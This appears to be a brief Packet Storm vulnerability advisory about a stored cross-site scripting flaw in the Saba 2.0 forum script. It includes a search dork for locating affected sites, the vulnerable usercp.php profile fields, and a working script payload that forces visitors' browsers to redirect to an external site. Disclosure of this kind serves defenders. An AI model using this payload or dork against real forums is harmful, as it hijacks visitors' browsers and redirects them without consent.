Saba version 2.0 suffers from a cross site scripting vulnerability.
3dccb3eb5f9ff2a665f7a00caff6339be16870a26de7ed14ecbed67528256d3cSaba 2.0 Cross Site Scripting (JS Injection)
http://Aria-Security.com
---------------------------------------------------------------
Saba 2.0 is a Persian Forum Script
Dork: Powered by Saba 2.0
Vulnerable file: usercp.php
usercp.php?username=YourUserName
The above script can be inserted as Location, Yahoo ID and other fields in the usercp page..
<script> document.write('<meta http-equiv="refresh" content="0; url=http://Aria-Security.com/index.html">'); </script>
The-0utl4w
Aria-Security Team
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed